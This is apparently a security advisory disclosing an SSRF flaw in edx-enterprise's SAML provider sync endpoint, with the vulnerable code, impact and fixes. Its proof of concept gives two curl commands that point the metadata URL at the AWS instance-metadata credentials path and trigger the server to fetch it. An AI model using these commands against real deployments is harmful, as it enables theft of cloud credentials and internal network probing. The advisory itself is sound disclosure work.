Summary

The syncproviderdata endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadatasource. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling syncproviderdata. The fetch in fetchmetadataxml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.

This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetchsamlmetadata Celery task) was applied in GHSA-328g-7h4g-r2m9.

Details

Vulnerable code path:

enterprise/api/v1/views/samlutils.py: python def fetchmetadataxml(url): log.info("Fetching %s", url) if not url.lower().startswith('https'): log.warning("This SAML metadata URL is not secure! (%s)", url) response = requests.get(url, verify=True) # No IP/scheme validation response.raiseforstatus()

enterprise/api/v1/views/samlproviderdata.py: python @action(detail=False, methods=['post'], urlpath='syncproviderdata') def syncproviderdata(self, request): ... metadataurl = samlprovider.metadatasource # set via SAMLProviderConfig PATCH xml = fetchmetadataxml(metadataurl) # triggers the fetch

Missing protections: - No HTTPS enforcement (HTTP is allowed; the warning is not enforced) - No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges - No blocking of RFC 1918 private ranges - No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.

Step 1: Set a malicious metadata URL via the provider config endpoint: bash curl -X PATCH 'https://<instance>/auth/saml/v0/providerconfig/<pk>/' \ -H 'Authorization: Bearer <JWT>' \ -H 'Content-Type: application/json' \ -d '{"metadatasource": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Step 2: Trigger the server-side fetch: bash curl -X POST 'https://<instance>/auth/saml/v0/providerdata/syncproviderdata' \ -H 'Authorization: Bearer <JWT>' \ -H 'Content-Type: application/json' \ -d '{"enterprisecustomeruuid": "<uuid>"}'

The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:

- Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise. - Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall. - Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.

Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validatesamlmetadataurl() (importable from common.djangoapps.thirdpartyauth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetchmetadataxml() before calling requests.get(). A request timeout should also be added.

Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.